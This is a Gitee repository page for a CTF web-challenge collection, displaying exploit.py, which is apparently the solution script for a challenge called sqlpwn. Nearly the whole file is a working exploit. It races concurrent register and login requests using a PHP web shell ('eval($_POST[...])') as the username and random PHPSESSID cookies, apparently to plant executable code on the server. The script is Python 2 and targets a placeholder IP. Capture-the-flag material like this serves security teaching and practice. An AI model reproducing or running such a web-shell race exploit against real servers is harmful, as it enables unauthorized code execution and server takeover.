1 Star 0 Fork 0

TechHappiii/My-CTF-Web-Challenges

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
exploit.py 971 Bytes
一键复制 编辑 原始数据 按行查看 历史
Orange Tsai 提交于 9年前 . Initial commit
import time
import requests
import threading
from random import randint
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(0xfffff):
time.sleep(0.1)
name = '<?php eval($_POST[ccc])?>' + str(i)
data = {'name': name, 'pass': name}
def reg(name):
r = requests.post( 'http://1.2.3.4/sqlpwn.php?mode=register',
headers=headers,
data=data)
def login(name):
_h = dict(headers)
_h['Cookie'] = 'PHPSESSID=%dphp' % randint(0,0xffffff)
r = requests.post( 'http://1.2.3.4/sqlpwn.php?mode=login',
headers=_h,
data=data)
if 'user locked' not in r.content and 'user not found' not in r.content :
print _h
exit()
threading.Thread(target=login, args=(name, )).start()
threading.Thread(target=reg, args=(name, )).start()
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/happiii/My-CTF-Web-Challenges.git
git@gitee.com:happiii/My-CTF-Web-Challenges.git
happiii
My-CTF-Web-Challenges
My-CTF-Web-Challenges
master

搜索帮助